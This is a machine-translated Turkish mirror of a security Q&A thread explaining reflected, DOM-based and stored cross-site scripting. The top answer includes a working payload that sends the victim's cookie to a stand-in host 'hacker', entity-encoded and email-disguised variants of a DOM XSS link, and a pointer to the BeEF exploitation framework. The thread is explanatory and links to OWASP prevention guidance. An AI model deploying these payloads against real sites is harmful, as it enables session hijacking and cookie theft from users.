it-swarm-tr.com

XSS nasıl çalışır?

Web geliştirme konusunda çok az deneyimim var, ancak güvenlikle ilgileniyorum. Ancak, XSS'nin nasıl çalıştığını tam olarak anlamadım. Bunu med'e açıklayabilir misiniz? Wikipedia makalesi bana iyi bir fikir veriyor ama çok iyi anladığımı sanmıyorum.

89
Ither

XSS - Siteler Arası Komut Dosyaları (ancak gerçek siteler arası komut dosyaları ile sınırlı değildir)

XSS genellikle 3 farklı şekilde sunulur:

Kalıcı değil (genellikle yansıyan XSS olarak adlandırılır)

Bu, kodu enjekte edebildiğinizde ve sunucunun kodu size geri döndüğünüzde onaylanmamıştır. Genellikle bu, (genellikle masum görünen) bir URL'yi başkalarının tıklaması için bir şekilde veya şekilde dağıtarak kullanılabilir.

Bu, birine karşı odaklanmış saldırılarla uğraşırken özellikle etkili olabilir. Gönderdiğiniz URL'yi tıklatabildiğiniz sürece sistemde yüksek ayrıcalıklar kazanma şansınız vardır.

Misal:

Bir arama alanı içeren bir sitenin uygun girdi dezenfeksiyonu yoktur. Şuna benzer bir arama sorgusu oluşturarak:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Diğer tarafta otururken, web sunucusunda, çift boşluktan sonra kullanıcıların çerezi olduğu isabet alacaksınız. Bir yönetici bağlantıyı tıklarsa, oturum kimliğini çalmanıza ve oturumu ele geçirmenize izin verirse şanslı olabilirsiniz.

Spam e-posta, mesaj panosu gönderileri, IM iletileri, Sosyal Mühendislik Araç Kitleri gibi teknikleri kullanmak bu güvenlik açığını çok tehlikeli olabilir.

DOM tabanlı

Kalıcı olmayana çok benzer, ancak javascript yükünün web sunucusundan geri yansıtılması gerekmez. Bu genellikle, bir URL parametresindeki değerin, zaten yerleşik olan javascript kullanılarak yüklenirken anında sayfaya tekrar yansıtıldığı yerler olabilir.

Misal:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Tabii ki suçlular URL'yi daha masum görünmesi için değiştireceklerdi. Yukarıdaki yük ile aynı yük farklı şekilde kodlanmıştır:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Bunun gibi HTML'yi destekleyen e-posta istemcilerine gönderirken daha iyi maskeleyebilirsiniz:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Kalıcı

Bir XSS vektörünü devam ettirdikten sonra saldırı çok daha tehlikeli hale gelir. Kalıcı bir XSS, sunucudan size geri yansıtılır, çünkü genellikle XSS bir veritabanı alanında veya benzeri bir yerde saklanır. Aşağıdaki girdinin veritabanına kaydedildiğini ve profilinizde size sunulduğunu düşünün:

<input type="text" value="Your name" />

Uygulamanın onaylanmamış girdileri kabul etmesini ve saklamasını sağlayabiliyorsanız, tek yapmanız gereken diğer kullanıcıların profilinizi (veya XSS'nin geri yansıtıldığı yeri) görüntülemesini sağlamaktır.

Bu tür XSS'leri sadece tespit etmek zor değil, aynı zamanda sistem için çok yıkıcı olabilir. Sadece Samy solucanı adlı XSS ​​solucanına bir göz atın!

XSS'nin ilk günlerinde konuk defterleri, topluluklar, kullanıcı yorumları, sohbet odaları vb.


İki saldırı vektörü

Artık bir XSS yükünü iletmenin farklı yollarını bildiğinize göre, çok tehlikeli olabilecek birkaç XSS saldırı vektöründen bahsetmek istiyorum:

  • XSS tahrif

    XSS tahribatını gerçekleştirmek zor bir başarı değildir. XSS de kalıcıysa, sistem yöneticilerinin bunu çözmesi zor olabilir. Amazon'un kitap önizleme özelliğini kullanan RSnake Stallowned "saldırı" ya bir göz atın. Oldukça komik okuma.

  • Çerez çalma ve oturum ele geçirme

    Yukarıdaki örneklerden birinde olduğu gibi, kullanıcıların çerezlerine eriştiğinizde hassas bilgileri de alabilirsiniz. SessionID'leri yakalamak, oturumun ele geçirilmesine yol açabilir ve bu da sistemde yüksek ayrıcalıklara yol açabilir.

Uzun yazı için üzgünüm. Şimdi duracağım. Gördüğünüz gibi, XSS ele alınması gereken çok büyük bir konudur. Umarım senin için biraz daha netleştirdim.


XSS'yi BeEF ile kullanma

XSS'nin nasıl kullanılabileceğini kolayca görmek için Tarayıcı Sömürü Çerçevesi BeEF denemenizi öneririz. Paketi açıldıktan ve PHP desteği ile bir web sunucusunda çalıştırıldığında), farklı XSS ​​yüklerini çok kolay bir şekilde deneyebileceğiniz bir kurbanın (zombi denir) simülasyonunu kolayca oluşturmayı deneyebilirsiniz. :

  • Portscan yerel ağı
  • Pingsweep yerel ağı
  • Virüs bulaşmış uygulamayı gönder, imzalı ve hazır
  • İstemciye mesaj gönderme
  • Skype çağrısı yapın

Liste devam ediyor. Videoyu BeEF ana sayfasında görmenizi öneririz.

GÜNCELLEME: Yaptım XSS üzerine yazma blogumda XSS'yi tanımlayan. XSS'in tarihi, farklı saldırı türleri ve BeEF ve Shank dahil olmak üzere bazı kullanım durumları hakkında biraz bilgi içerir.

80
Chris Dale

SteveSyfuhs'un söylediklerini piggy back etmek için XSS'in kullanılabileceği birçok olası kötü amaçlı yol var.

Örnekler:

Bir örnek, bir veritabanı alanına kötü amaçlı kod enjekte etmek olabilir. Daha sonra, bu alan son kullanıcıya onaylanmamış olarak gösterildiğinde, tarayıcıları kodu yürütür. Buna Kalıcı/Depolanmış Siteler Arası Komut Dosyası denir.

Bir diğeri GET veya POST parametrelerine onaylanmadan veya sterilize edilmeden kod ekleme yeteneği olacaktır. Bu değişkenler sayfanızın içeriğini değiştirdiğinde, değiştirilen veriler son kullanıcıya gösterilecektir ve tarayıcıları kötü amaçlı kodu yürütür. Bu, genellikle birisi bağlantıyı tıkladığında bu GET parametrelerini gönderen e-posta/web yoluyla kötü amaçlı bağlantılarda bulunur. Yansıtılan Siteler Arası Komut Dosyası .

Kaynaklar:

Fortify Software güvenlik açıklarını açıklamak ve örnekler vermek için harika bir kaynağa sahiptir: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Seçtiğiniz dili tıklayın ve Giriş Doğrulama ve
    Farklı Siteler arasından seçim yapabileceğiniz temsil
    Fortify Software tarafından tanımlanan komut dosyası güvenlik açıkları.

[~ # ~] owasp [~ # ~] , XSS güvenlik açıklarının nasıl önleneceğini açıklamak için harika bir kaynağa sahiptir: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS, rasgele verilerin bir sisteme girmesine ve ardından bu verilerin kullanıcıya değiştirilmediğini göstermeye yöneliktir. Profilime bazı js kaydettiğimde ve bu sayfayı görüntüleyecek birini seçersem, js yürütülür. Bir örnek olarak js benim web çalmak için kullanıcıların çerez içeriğini göndermek benim oturum çalmak gibi kendi çerezleri ile istediğim ne yapmak için izin verebilir.

9
Steve

Özetle, siteler arası Scripting, geliştiricilerin güvenilmeyen girdileri kontrol etmediği için web tarayıcıyı kötü amaçlı kod yürütmeye yönlendirir.

Dolayısıyla, örnek bir XSS saldırısı alırsanız güvenilmeyen giriş JavaScript içeren bir URL parametresi olabilir. Geliştirici, parametrenin yalnızca veri içerdiğini (veya yeterince kontrol etmediğini) varsayar ve parametrenin içeriğini HTML sayfasına ekler. Tarayıcı daha sonra JavaScript'i dürüstçe çalıştırır ve kendinize yansıyan bir XSS saldırısı yaşarsınız.

Daha fazla bilgi burada bulunabilir: OWASP XSS sayfası

8
Ventral